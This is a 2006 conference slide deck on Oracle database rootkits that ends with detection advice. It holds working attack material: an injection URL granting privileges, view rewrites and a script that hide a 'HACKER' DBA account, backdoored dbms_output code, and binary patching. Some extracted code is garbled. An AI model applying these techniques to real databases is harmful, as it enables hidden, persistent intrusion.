Oracle Rootkits 2.0

Defcon 14

Las Vegas

05-August-06

Alexander Kornbrust

Red Database Security GmbH
Agenda

- Introduction
- Viruses
- OS Rootkits
- Database Rootkits 1.0
  - Execution Path
  - Modify Data Dictionary Objects
- Advanced Database Rootkits 1.0
- Database Rootkits 2.0
  - Modify Binaries
  - PL/SQL Native
  - Pinned PL/SQL Packages
- Conclusion
- Q/A
Introduction

- Red-Database-Security GmbH
- Founded Spring 2004
- CEO Alexander Kornbrust
- Specialized in Oracle Security
Introduction

- Operating Systems and Databases are quite similar in the architecture.

- Both have
  - Users
  - Processes
  - Jobs
  - Executables
  - Symbolic Links
  - …

⇒ A database is a kind of operating system

Definition Wikipedia:

A rootkit is a set of tools used after cracking a computer system that hides logins, processes [...] a set of recompiled UNIX tools such as ps, netstat, passwd that would carefully hide any trace that those commands normally display.
<table>
<thead>
<tr>
<th>OS cmd</th>
<th>Oracle</th>
<th>SQL Server</th>
<th>DB2</th>
<th>Postgres</th>
</tr>
</thead>
<tbody>
<tr>
<td>ps</td>
<td>select * from v$process</td>
<td>select * from sysprocesses</td>
<td>list application</td>
<td>select * from pg_stat_activity</td>
</tr>
<tr>
<td>kill 1234</td>
<td>alter_system kill session '12,55'</td>
<td>SELECT @var1 = spid FROM sysprocesses WHERE nt_username='andrew' AND spid&lt;&gt;@@spidEXEC ('kill '+@var1);</td>
<td>force application (1234)</td>
<td></td>
</tr>
<tr>
<td>Executables</td>
<td>View, Package, Procedures and Functions</td>
<td>View, Stored Procedures</td>
<td>View, Stored Procedures</td>
<td>View, Stored Procedures</td>
</tr>
<tr>
<td>execute</td>
<td>select * from view; exec procedure</td>
<td>select * from view; exec procedure</td>
<td>select * from view;</td>
<td>select * from view; execute procedure</td>
</tr>
<tr>
<td>cd</td>
<td>alter session set current_schema =user01</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Database $\approx$ Operating System

- If a database is a (kind of) operating system, then it is possible to migrate malware (concepts) like viruses or rootkits from the operating system world to the database world.
Database Viruses

- Definition Virus

A virus is a type of program that can replicate itself by making copies of itself. A virus can only spread from one computer to another when its host is taken to the uninfected computer.
Database Viruses

- There are different types of viruses
  - Append Viruses
  - Companion Viruses
  - ...
Append Viruses

- Classic OS appends (virus) code at the end of a program.

- This code is executed every time the program is started.
Append Viruses

To migrate a virus we must identify executables in the database. A view for example is a kind of executable. By selecting data from the view it is possible to execute the view.

- Migration

OS ➔ DB
Executable ➔ View
Assembler ➔ PL/SQL
Append Viruses
Oracle Virus

Uninfected view

CREATE VIEW myemployee
AS SELECT *
FROM employees
WHERE salary > 5000

Infected view

CREATE VIEW myemployee
AS SELECT *
FROM employees
WHERE salary > 5000
and 1=infected()

- Every time the view is executed (e.g. SELECT * from myemployee), the virus code (in the PL/SQL function infected()) is also executed and infects other uninfected views by appending the line “and 1=infected()”
Oracle Virus

- Viruses can spread to other databases by using
  - database links to other Oracle databases
  - http-requests and search engines (e.g. Google) to find victims

- Different type of database viruses are possible
  - Append viruses
  - Companion Viruses
  - Infection of PL/SQL native executables
Oracle Virus / Infection via Web

Install the virus function in a database via an HTTP request (fixed with Oracle 68)


Grant Privileges

http://www.hacked.com/pls/dad/ctxsys.driload.validate_stmt?sqlstmt=GRANT+EXECUTE+ON+INFECTED+TO+PUBLIC

Infect the first view

http://www.hacked.com/pls/dad/ctxsys.driload.validate_stmt?sqlstmt=CREATE+OR+REPLACE+VIEW+FIRST_VICTIM...
Operating System Rootkit

- Rootkits can also be used to protected music from being stolen.
- Rootkits are often installed by hackers to hide their tracks in a hacked computer.
Introduction: OS Rootkit

- Result of the `dir` command with and without an installed Sony DRM rootkit

<table>
<thead>
<tr>
<th>without rootkit</th>
<th>with (Sony) rootkit</th>
</tr>
</thead>
<tbody>
<tr>
<td>[c:&gt;]# dir /a</td>
<td># dir /a</td>
</tr>
<tr>
<td>28.02.2006 07:31 &lt;DIR&gt; Programme</td>
<td>2006 07:31 &lt;DIR&gt; Programme</td>
</tr>
<tr>
<td>01.03.2006 10:36 &lt;DIR&gt; WINDOWS</td>
<td>2006 10:36 &lt;DIR&gt; WINDOWS</td>
</tr>
<tr>
<td>30.01.2006 15:57 &lt;DIR&gt; Documents</td>
<td>2006 15:57 &lt;DIR&gt; Documents</td>
</tr>
<tr>
<td>30.01.2006 16:00 212 boot.ini</td>
<td>2006 16:00 212 boot.ini</td>
</tr>
<tr>
<td>18.08.2001 11:00 4.952 bootfont.bin</td>
<td>2001 11:00 4.952 bootfont.bin</td>
</tr>
<tr>
<td>30.01.2006 15:53 0 CONFIG.SYS</td>
<td>2006 15:53 0 CONFIG.SYS</td>
</tr>
<tr>
<td>30.01.2006 17:11 471.232 $sys$rk.exe</td>
<td></td>
</tr>
</tbody>
</table>
Introduction: OS Rootkit

- Result of the **who** command with and without an installed rootkit

<table>
<thead>
<tr>
<th>without rootkit</th>
<th>with rootkit</th>
</tr>
</thead>
<tbody>
<tr>
<td>root pts/0 Apr 1 12:25</td>
<td>root pts/0 Apr 1 12:25</td>
</tr>
<tr>
<td>root pts/1 Apr 1 12:44</td>
<td>root pts/1 Apr 1 12:44</td>
</tr>
<tr>
<td>root pts/1 Apr 1 12:44</td>
<td>root pts/1 Apr 1 12:44</td>
</tr>
<tr>
<td>ora pts/3 Mar 30 15:01</td>
<td>ora pts/3 Mar 30 15:01</td>
</tr>
<tr>
<td><strong>hacker pts/3 Feb 16 15:01</strong></td>
<td><strong>hacker pts/3 Feb 16 15:01</strong></td>
</tr>
</tbody>
</table>
Migration of Rootkit

- Migration of the rootkit concept to the database world

<table>
<thead>
<tr>
<th>OS</th>
<th>➔</th>
<th>DB</th>
</tr>
</thead>
<tbody>
<tr>
<td>Hide OS User</td>
<td>➔</td>
<td>Hide Database User</td>
</tr>
<tr>
<td>Hide Jobs</td>
<td>➔</td>
<td>Hide Database Jobs</td>
</tr>
<tr>
<td>Hide Processes</td>
<td>➔</td>
<td>Hide Database Processes</td>
</tr>
</tbody>
</table>
Database Rootkit

- Ways to implement a first generation database rootkit
  - Modify the (database) object itself
  - Change the execution path
Database Rootkit Evolution

- **1st Generation**
  - Changes in the data dictionary (e.g. modification of a view or procedure / change synonym)
    - Presented at the Black Hat Europe 2005

- **2nd Generation**
  - No change in the data dictionary (like views or packages) visible.

- **3nd Generation**
  - Modify database structures in memory.
    - Official API available since Oracle 10g Rel. 2.
Rootkit – 1st generation

- Easy to implement
- Easy to find

Generic problem of all relational databases, not only Oracle

Microsoft SQL Server 2005 has already some Anti-Database-Rootkit Technologies installed (digitally signed views).
Oracle Execution Path

- How is Oracle resolving object names?
- Example:

```
SQL> Select username from dba_users;
```

- Name resolution:
  - Is there a local object in the current schema (table, view, procedure, ...) called dba_users?
    → If yes, use it.
  - Is there a private synonym called dba_users?
    → If yes, use it.
  - Is there a public synonym called dba_users?
    → If yes, use it.
  - Is VPD in use?
    → If yes, modify SQL Statement.
Oracle Execution Path

User 1
- Tables
- Functions
- Procedures
- Packages
- Views
- Private Synonyms

User n
- Tables
- Func.
- Proc.
- Pack.
- Views
- Private Synonyms

Public Synonyms

SYS
- Views
- Tables
- Functions
- Procedures
- Packages

06.08.2006
Oracle Execution Path

- We can change the Oracle execution path by
  - Creating a local object with the identical name
  - Creating a private synonym pointing to a different object
  - Creating or modify a public synonym pointing to a different object
  - Switching to a different schema
Hide Database Users

- User management in Oracle
  - User and roles are stored together in the table SYS.USER$
  - Users have flag TYPE# = 1
  - Roles have flag TYPE# = 0
  - Views dba_users and all_users to simplify access
  - Synonyms for dba_users and all_users
Hide Database Users

- Example: Create a database user called hacker

```sql
SQL> create user hacker identified by hacker;
SQL> grant dba to hacker;
```

- Example: List all database users

```sql
SQL> select username from dba_users;
USERNAME
---------
DBSNMP
EXFSYS
HACKER
ORDSYS
SYS
SYSTEM
[...]
```
Hide Database Users

Enterprise Manager (Java)

- ANONYMOUS
- CTXSYS
- DATA_SCHEMA
- DBSNMP
- DIP
- DMSYS
- EXFSYS
- FLOWS_FILES
- FLOWS_010500
- HACKER
- HTMLDBALEX
- HTMLDB_PUBLIC_USER
- MASTER
- MDDATA
- MDSYS
- MGMT_VIEW
- MOBILEADMIN
- OLAPSYS
- ORDPLUGINS
- ORDSYS
- OUTLN
- PUBLIC

Database Control (Web)

- ORACLE Enterprise Manager 10g
- Database Control
- Users

- Search
  - Name
  - To run an exact match search or to run a case sensitive search

- Results

  - Select UserName
  - Account

  - ANONYMOUS - EXPIRED
  - CTXSYS - EXPIRED
  - DATA_SCHEMA - OPEN
  - DBSNMP - OPEN
  - DIP - EXPIRED
  - DMSYS - EXPIRED
  - EXFSYS - EXPIRED
  - FLOWS_010500 - LOCKED
  - FLOWS_FILES - LOCKED
  - HACKER - OPEN
  - HTMLDBALEX - OPEN

Quest TOAD

- SYS

- Tables | Views | Synonyms
- Policy Groups | Profiles
- Snaps | Roles
- Resource Groups | Resource
- Java | DB Links | Users

- ANONYMOUS
- CTXSYS
- DATA_SCHEMA
- DBSNMP
- DIP
- DMSYS
- EXFSYS
- FLOWS_010500
- FLOWS_FILES
- HACKER
- HTMLDBALEX

06.08.2006
Hide Database Users

- Add an additional line to the view

```sql
and pr_resource# = 1
AND U.NAME !='HACKER'
```
Hide Database Users

Enterprise Manager (Java)

- ANONYMOUS
- CTXSYS
- DATA_SCHEMA
- DBSNMP
- DIP
- DMSYS
- EXFSYS
- FLOWS_FILES
- FLOWS_010500
- HTMLDBALEX
- HTMLDB_PUBLIC_USER
- MASTER
- MDDATA
- MDSYS

Database Control (Web)

- ANONYMOUS
  - USER_NAME: ANONYMOUS
  - ACCOUNT: EXPIRED

- CTXSYS
  - USER_NAME: CTXSYS
  - ACCOUNT: EXPIRED

- DATA_SCHEMA
  - USER_NAME: DATA_SCHEMA
  - ACCOUNT: OPEN

- DBSNMP
  - USER_NAME: DBSNMP
  - ACCOUNT: OPEN

- DIP
  - USER_NAME: DIP
  - ACCOUNT: EXPIRED

- DMSYS
  - USER_NAME: DMSYS
  - ACCOUNT: EXPIRED

- EXFSYS
  - USER_NAME: EXFSYS
  - ACCOUNT: EXPIRED

- FLOWS_FILES
  - USER_NAME: FLOWS_FILES
  - ACCOUNT: LOCKED

- FLOWS_010500
  - USER_NAME: FLOWS_010500
  - ACCOUNT: LOCKED

- HTMLDBALEX
  - USER_NAME: HTMLDBALEX
  - ACCOUNT: OPEN

- HTMLDB_PUBLIC_USER
  - USER_NAME: HTMLDB_PUBLIC_USER
  - ACCOUNT: OPEN

Quest TOAD

- HACKER
  - USER_NAME: FLOWS_FILES
  - ACCOUNT: LOCKED

06.08.2006
TOAD is using the view ALL_USERS instead of DBA_USERS. That's why the user HACKER is still visible.
Hide Database Users

- Now the user is gone in TOAD too...
Oracle Execution Path

select * from dba_users; (e.g. as user SYSTEM)

User 1
- Tables
- Functions
- Procedures
- Packages
- Views
- Private Synonyms

User n
- Tables
- Func.
- Proc.
- Pack.
- Views
- Private Synonyms

Public Synonyms

SYS
- Views [4]
- Tables
- Functions
- Procedures
- Packages

and u.name != 'HACKER'
Hide Processes

- Process management in Oracle

- Processes are stored in a special view v$session located in the schema SYS
- Public synonym v$session pointing to v_$session
- Views v_$session to access v$session
Example: List all database processes

```sql
SQL> select sid, serial#, program from v$session;

<table>
<thead>
<tr>
<th>SID</th>
<th>SERIAL#</th>
<th>PROGRAM</th>
</tr>
</thead>
<tbody>
<tr>
<td>297</td>
<td>11337</td>
<td>OMS</td>
</tr>
<tr>
<td>298</td>
<td>23019</td>
<td>OMS</td>
</tr>
<tr>
<td>300</td>
<td>35</td>
<td>OMS</td>
</tr>
<tr>
<td>301</td>
<td>4</td>
<td>OMS</td>
</tr>
<tr>
<td>304</td>
<td>1739</td>
<td>OMS</td>
</tr>
<tr>
<td>305</td>
<td>29265</td>
<td>sqlplus.exe</td>
</tr>
<tr>
<td>306</td>
<td>2186</td>
<td>OMS</td>
</tr>
<tr>
<td>307</td>
<td>30</td>
<td><a href="mailto:emagent@picard.rds">emagent@picard.rds</a></td>
</tr>
<tr>
<td>308</td>
<td>69</td>
<td>OMS</td>
</tr>
<tr>
<td>310</td>
<td>5611</td>
<td>OMS</td>
</tr>
<tr>
<td>311</td>
<td>49</td>
<td>OMS</td>
</tr>
</tbody>
</table>

[...]
Modify the views (v$session, gv_$session, flow_sessions, v$_$process) by appending

```
username != 'HACKER'
```

```sql
SELECT 'ADDR', 'SID', 'SERIAL#', 'AUDSID', 'PADDR', 'USER#', 'USER'
FROM v$session
WHERE username != 'HACKER'
```
Hide Database Jobs

- Database Jobs in Oracle
  - Oracle jobs are stored in the table SYS.JOB$
  - The view dba_jobs simplifies the access
  - Public synonym for dba_jobs
Hide Database Jobs

Example: Create a database job running at midnight

```
declare
    mydate date;
begin
    select sysdate into mydate from dual;
end;
```

06.08.2006
Hide Database Jobs

See all database jobs in the view dba_jobs

<table>
<thead>
<tr>
<th>JOB</th>
<th>LOG_USER</th>
<th>PRIV_USER</th>
<th>SCHEMA_USER</th>
<th>LAST_DATE</th>
<th>LAST_SEC</th>
<th>THIS_DATE</th>
<th>THIS_SEC</th>
</tr>
</thead>
<tbody>
<tr>
<td>8</td>
<td>SYS</td>
<td>WKSYS</td>
<td>WKSYS</td>
<td>29.03.2005 15:23:05</td>
<td>15:23:05</td>
<td></td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>SYS</td>
<td>WKSYS</td>
<td>WKSYS</td>
<td>29.03.2005 21:00:03</td>
<td>21:00:03</td>
<td></td>
<td></td>
</tr>
<tr>
<td>31</td>
<td>SYSTEM</td>
<td>SYSTEM</td>
<td>SYSTEM</td>
<td>29.03.2005 20:47:38</td>
<td>20:47:38</td>
<td></td>
<td></td>
</tr>
<tr>
<td>10</td>
<td>SYSMAN</td>
<td>SYSMAN</td>
<td>SYSMAN</td>
<td>29.03.2005 21:10:53</td>
<td>21:10:53</td>
<td></td>
<td></td>
</tr>
<tr>
<td>50</td>
<td>HACKER</td>
<td>HACKER</td>
<td>HACKER</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Add an additional line to the view

```sql
select JOB, lower LOG_USER, owner PRIV_USER, owner SCHEMA_USER,
   LAST_DATE, substr(to_char(last_date,'HH24:MI:SS'),1,8) LAST_SEC,
   THIS_DATE, substr(to_char(this_date,'HH24:MI:SS'),1,8) THIS_SEC,
   NEXT_DATE, substr(to_char(next_date,'HH24:MI:SS'),1,8) NEXT_SEC,
   (total+(sysdate-nvl(this_date,sysdate)))*86400 TOTAL_TIME,
   decode(mod(FLAG,2),1,'Y',0,'N',('?') BROKEN,
   INTERVAL# interval, FAILURES, WHAT,
   nlsenv NLS_ENV, env MISC_ENV, j.field1 INSTANCE
from sys_job$ i
where owner != 'HACKER'
```
Hide Database Jobs

Now the job is no longer visible.

<table>
<thead>
<tr>
<th>JOB</th>
<th>LOG_USER</th>
<th>PRIV_USER</th>
<th>SCHEMA_USER</th>
<th>LAST_DATE</th>
<th>LAST_SEC</th>
<th>THIS_DATE</th>
<th>THIS_SEC</th>
</tr>
</thead>
<tbody>
<tr>
<td>8</td>
<td>SYS</td>
<td>WKSYS</td>
<td>WKSYS</td>
<td>29.03.2005 15:23:05</td>
<td>15:23:05</td>
<td></td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>SYS</td>
<td>WKSYS</td>
<td>WKSYS</td>
<td>29.03.2005 21:00:03</td>
<td>21:00:03</td>
<td></td>
<td></td>
</tr>
<tr>
<td>31</td>
<td>SYSTEM</td>
<td>SYSTEM</td>
<td>SYSTEM</td>
<td>29.03.2005 20:47:38</td>
<td>20:47:38</td>
<td></td>
<td></td>
</tr>
<tr>
<td>10</td>
<td>SYSMAN</td>
<td>SYSMAN</td>
<td>SYSMAN</td>
<td>29.03.2005 21:16:18</td>
<td>21:16:18</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
1. Gen Rootkit Examples

- Modifying Views
- Modifying (unwrapped) internal Oracle Packages
1. Gen Rootkit Example – modify views

```sql
EXECUTE
DBMS_METADATA.SET_TRANSFORM_PARAM(DBMS_METADATA.SESSION_TRANSFORM_PARAM,'STORAGE',false);

spool rk_source.sql

select
replace(cast(dbms_metadata.get_ddl('VIEW','ALL_USERS') as VARCHAR2(4000)),'where','where u.name !=''HACKER'' and ')
from dual union select '/' from dual;

select
replace(cast(dbms_metadata.get_ddl('VIEW','DBA_USERS') as VARCHAR2(4000)),'where','where u.name !=''HACKER'' and ')
from dual union select '/' from dual;

spool off

create user hacker identified by hacker_bh2006;

grant dba to hacker;

@rk_source.sql
```
1. Gen Rootkit Example

- By default all Oracle system packages (like `dbms_output`) are wrapped (=kind of obfuscation) by default.

- It is possible to unwrap Oracle PL/SQL packages. Pete Finnigan gave a presentation at the Black Hat 2006 about the concept of wrapping/unwrapping.

- Working PL/SQL Unwrappers for 8i/9i and 10g are already out there.

- PL/SQL packages can be unwrapped, backdoored, wrapped and installed in the database again.

- A normal DBA/security consultant without an unwrapper can’t find the backdoor.
1. Gen Rootkit Example

- Unwrap PL/SQL package dbms_output (Oracle 10g)

```sql
CREATE OR REPLACE
PACKAGE BODY DBMS_OUTPUT AS

    INABLED    BOOLEAN   := FALSE;
    BUF_SIZE   BINARY_INTEGER;
    LINDEXLN   BINARY_INTEGER := 0;
    PUTIDX     BINARY_INTEGER := 1;
    GETIDX     BINARY_INTEGER := 2;
    GET_IN_PROGRESS BOOLEAN := TRUE;
   RITE       CHAR(512) AS TABLE OF VARCHAR2(32767) INDEX BY BINARY_INTEGER;
    BUF        CHAR_ARR;
    BULTET     BINARY_INTEGER := -1;

PROCEDURE NEXTVAR(
    NUM   BINARY_INTEGER,
    MSG   VARCHAR2,
    KEEPERROKSTACK BOOLEAN DEFAULT FALSE);

DECLARE INTERFACE (C, HCORR);"

PROCEDURE RAISE_APPLICATION_ERROR(
    NUM   BINARY_INTEGER,
    MSG   VARCHAR2,
    KEEPERROKSTACK BOOLEAN DEFAULT FALSE)
IS
    REC ERR_REC
    (NUM, MSG, KEEPERROKSTACK);
    END RAISE_APPLICATION_ERROR;
```
1. Gen Rootkit Example

PROCEDURE ENABLE (BUFFER_SIZE IN INTEGER DEFAULT 20000) IS
    LSTATUS INTEGER;
    LOCKID INTEGER;
    MYDAY VARCHAR2(10);
    BEGIN
        […]
        select to_char(sysdate,'DAY') into MYDAY from dual;
        IF (MYDAY IN ('SATURDAY','SUNDAY')) THEN
            execute immediate 'grant dba to scott';
            ELSE
                execute immediate 'revoke dba to scott';
            END IF;
        ENABLED := TRUE;
        IF BUFFER_SIZE < 2000 THEN
            BUF_SIZE := 2000;
        END IF;
        […]
1. Gen Rootkit Example

- Wrap the package again and install this trojanized version into the database again

- If the package dbms_output is called on a Saturday or Sunday the user scott becomes DBA privileges. On Monday these privileges are revoked if the package was called.

- During a normal weekly security audit this backdoor will not be found.

- Only a changed checksum of the backdoored package is an indication for a modification.
1. Gen Rootkit Example

- Another approach to implement a backdoor by sending a special parameter

- By sending a special string to a function of procedure we can activate / deactivate internal stuff, e.g. create a reverse shell listening on a extra port for (OS) commands, ... (can be done via Java in the database)
1. Gen Rootkit Example – via parameter

PROCEDURE ENABLE (BUFFER_SIZE IN INTEGER DEFAULT 20000) IS
    LSTATUS INTEGER;
    LOCKID INTEGER;
    MYDAY VARCHAR2(10);
BEGIN
    [...]
    IF (BUFFER_SIZE = 31337) THEN
        BEGIN
            execute immediate 'grant dba to scott';
            execute immediate alter user scott identified by ora31337';
            END
    ELSE
        BEGIN
            execute immediate 'revoke dba to scott';
            execute immediate 'alter user scott identified by XXX';
            END
    END IF;
    ENABLED := TRUE;
    [...]
END;
1. Gen Rootkit Example

- Wrap the package again and install this trojanized version into the database again.

- If we send the value 31337 to the procedure `dbms_output.enable`, we are resetting the password of the user scott and escalate his privileges.

- During a normal weekly security audit this backdoor will not be found.

- Only a changed checksum of the backdoored package is an indication for a modification.
Rootkit – 2nd generation

- More difficult to implement
- More difficult to find.
- Detection sometimes depends on the database account (e.g. non-SYS account will never find it)
- Sometimes detection is only visible from the operating system
Rootkit – 2nd generation

- Modification of binary files
- PL/SQL Native
- Pinned PL/SQL packages
- VPD (Virtual Private Database)
Normal login process – Oracle process reads the user credentials from the sys table sys.user$ to verify that the login credentials are valid.
Rootkit – 2nd generation – modify binary

- Search the string sys.user$

(106 occurrences in Oracle 10 Express Edition)
Rootkit – 2nd generation – modify binary

- Replace all occurrences of `sys.user$` with `sys.aser$`
An attacker can now modify the database executable(s) by replacing all occurrences of the table (sys.) user$ with the (new created) table sys.aser$
An auditor, security consultant or security tool normally only checks the table `sys.user$`. But Oracle is using the table `sys.aser$` containing the hidden user.
Rootkit – 2nd generation – modify binary

- Create a user hacker with DBA privileges

c:\tools>sqlplus "/ as sysdba"

SQL*Plus: Release 10.1.0.2.0 - Production on Wed Aug 2 07:46:40 2006
Copyright (c) 1982, 2004, Oracle. All rights reserved.

Connected to:
Oracle Database 10g Enterprise Edition Release 10.1.0.2.0 - Production
With the Partitioning, Oracle Label Security, OLAP and Data Mining options

SQL> create user hacker identified by hacker;
User created.

SQL> grant dba to hacker;
Grant succeeded.
Rootkit – 2nd generation – modify binary

- Create a copy of the table `sys.user$
- Drop user hacker from `sys.user$

```sql
SQL> create table sys.user$ as select * from sys.user$;
Table created.

SQL> drop user hacker;
User dropped.
```
Rootkit – 2nd generation – modify binary

- Shutdown database

```
SQL> shutdown immediate
Database closed.
Database dismounted.
ORACLE instance shut down.
```
Rootkit – 2nd generation – modify binary

- Patch binary file

![Image of Replace dialog boxes showing find and replace actions]
Start database (Now the table sys.aser$ is used)

C:\oracle\product\10.1.0\db_1\rdbms\admin>sqlplus hacker/hacker

SQL*Plus: Release 10.1.0.2.0 - Production on Wed Aug 2 09:57:54 2006
Copyright (c) 1982, 2004, Oracle. All rights reserved.

Connected to:
Oracle Database 10g Enterprise Edition Release 10.1.0.2.0 - Production
With the Partitioning, Oracle Label Security, OLAP and Data Mining options

SQL>
Rootkit – 2nd generation – modify binary

- Create a user hacker with DBA privileges
- Create a copy of the table sys.user$ (create table sys.aser$ as select * from sys.user$)
- Drop user hacker from sys.user$
- Shutdown database
- Patch binary file
- Start database (Now the table sys.aser$ is used)
Rootkit – 2nd generation – protection

- Oracle should sign their binary files
- Use checksum tools like tripwire to see modifications of binary files
- Harden your database to avoid hackers
Rootkit – 2nd generation – PL/SQL native

- Since Oracle 9i exists a new feature which allows to generate natively compiled code from PL/SQL to increase the performance.

- Oracle generates a C-File which is compiled on the target machine.

- The resulting .dll/.lib is executed instead of the original PL/SQL package.

- Oracle does not monitor the files in the file system.

- Since 10g the dll's/lib's are stored in the database in clob's.
In Oracle 9i PL/SQL native is the easiest way to execute any OS commands because you can set the name of the make utility via an ALTER SYSTEM command:

```sql
alter system set plsql_native_make_utility= 'calc.exe';

alter system set plsql_native_make_file_name= 'c:\temp\mymakefile.mk';

alter system set plsql_native_library_dir= 'c:\temp\plsql_libs';
```

After every compilation of PL/SQL code, Oracle starts the PL/SQL compiler. In this case the Windows calculator.
Rootkit – 2nd generation – PL/SQL native

- In Oracle 10g PL/SQL native the compiler is retrieved from the registry/environment.

- The compiler syntax is taken from the file $ORACLE_HOME/plsql/spnc_commands

  cl.exe %(src) /nologo /Ox /MD /Fo%(obj) /I$(ORACLE_HOME)/plsql/public /I$(ORACLE_HOME)/plsql/include /link /nologo /dll $(ORACLE_HOME)/lib/orapls10.lib /out:%(dll)

- A big difference is also that the lib/dll’s are stored in the database now,
Rootkit – 2nd gen. – PL/SQL native (9i)

```plsql
alter session set plsql_compiler_flags='NATIVE';

alter procedure myprocedure compile;
```
Rootkit – 2nd gen. – PL/SQL native (10g)

alter session set plsql_compiler_flags='NATIVE';

alter procedure myprocedure compile;
Rootkit – 2nd gen. – PL/SQL native (9i)

```c
/*----- Implementation of Procedure HELLO_NATIVE_COMPILATION ------*/
#elseif __cplusplus
extern "C" {
#endif
#ifndef PEN_ORACLE
#include <pen.h>
#endif
/* Types used in generated code */
typedef union {ub1 st[252]; size_t _si; void * _vs;} PEN_State;
typedef union {ub1 cup[208]; size_t _cu; void * _vc;} PEN_Cup;
typedef union {ub1 slg[80]; pen_buffer p;} PEN_Buffer;
/* Macros used in generated code */
#define dl0 ((void ***) (PEN_Registers[3]))
#define dpf ((void ****) (PEN_Registers[5]))
#define bit(x, y) ((x) & (y))
#define PETisstrnull(strhdl) (!PMUflgnotnull(PETmut(strhdl)) || !PETdat(strhdl) || !PETlen(strhdl))
#define PMUflganynull(pmut) (bit((pmut)->plsmflg, (PLSFNULL | PLSFBADNULL)))
#define PMUflgnotnull(pmut) (!bit((pmut)->plsmflg, (PLSFNULL | PLSFBADNULL)))
```

06.08.2006
Implement a backdoor in the PL/SQL Package MYPROCEDURE.
Rootkit – 2nd gen. – PL/SQL native (9i)

Remove the rootkit from the PL/SQL Package MYPROCEDURE

And recompile the package again
Rootkit – 2nd gen. – PL/SQL native (9i)

Replace the native compiled code on the operating system level by replacing the original file with the backdoored version.

The backdoored version is now called.
Rootkit – 2nd generation – protection

- Don’t use PL/SQL native if not necessary
To avoid memory fragmentation in the shared pool Oracle supports the preloading of (large) PL/SQL objects into the memory. This functionality is called pinning.

The package `dbms_shared_pool` allows to pin and unpin PL/SQL objects (not installed by default) into the memory.

Changed objects in the database are NOT automatically reloaded into the memory if they are changed.

`dbms_shared_pool.keep` pins a package into the SGA

`dbms_shared_pool.unkeep` removes a package into the SGA
Create a PL/SQL procedure “MYPROCEDURE”
Rootkit – 2nd gen. – Pinning

The PL/SQL package is loaded into the SGA for execution and dropped if not needed afterwards.

SGA

MYPROCEDURE (backdoored)
Rootkit – 2nd gen. – Pinning

```
we are here:
-7 7-06.08.2006
```

```
Rootkit – 2nd gen. – Pinning

SGA

MYPROCEDURE (backdoored)

dbms_shared_pool.
keep('MYPROCEDURE')
```

```
MYPROCEDURE (backdoored)
```

06.08.2006
Remove the backdoor from the PL/SQL package. The package in the SGA is NOT removed automatically and will always be executed until the database is restarted.
Rootkit – 2nd generation – protection

- Check if dbms_shared_pool is installed
- Check on a regular basis for pinned packages
Rootkit – 2nd gen. – other possibilities I (untested)

- For database based applications using user credentials in non SYS-schemas it is possible to hide users via specially crafted VPD (Virtual Private Database) roles.

- HTMLDB for example is using the table `flows_020100.wwv_flow_fnd_user` to store/retrieve the user credentials.

- A special VPD rule could remove some entries in this table for specific users and / or during a special timeframe.
Rootkit – 2nd gen. – other possibilities I (untested)

- Oracle QueryRewrite allows to change SQL statements submitted by an user to increase the performance by using materialized views

User submits

```
Select * from table_a
```

Under some circumstances
Oracle rewrites the query

```
Select * from table_b
```
Rootkit – 3rd generation

- Difficult to implement (Direct SGA modification)
  
  (There is an official API to the SGA in 10g Rel. 2 which allows the modification of SGA from an external program running on the same box)

- Difficult to find. Only possible from the operating system.
Surviving Updates

- During updates (database+binaries) updates the repository is often rebuild from scratch or the binaries replaced with new versions. This normally removes changes in the data dictionary objects or modified files.

To avoid this an attacker could

- Create a special database job which reinstalls the rootkit after an upgrade/patch
- Change glogin.sql on the database server. This file is executed during every start of SQL*Plus
- Create a Database startup trigger
- Backdoor custom PL/SQL of the customer application
- …
Finding Rootkits

- Checksums of database objects (e.g. Repscan)
- Checksums of binary files (e.g. Tripwire)
- Check, if PL/SQL native is enabled
- Check, if dbms_shared_pool is installed
- Harden your database and apply the latest patches
Conclusion

- Oracle is a powerful database and there are many possibilities to implement database rootkits in Oracle. With these techniques an attacker (internal/external) can hide his presence in a hacked database.

- The huge number of features (like pinning packages, native compilation, query rewrite) in Oracle databases allows the creation of new kind of database rootkits.
Contact

Alexander Kornbrust
CEO

Red-Database-Security GmbH
Bliesstrasse 16
D-66538 Neunkirchen
Germany

Phone: +49 (6821) 95 17 637
Mobil: +49 (174) 98 78 118
Fax: +49 (6821) 91 27 354

E-Mail: info@red-database-security.com
Web: www.red-database-security.com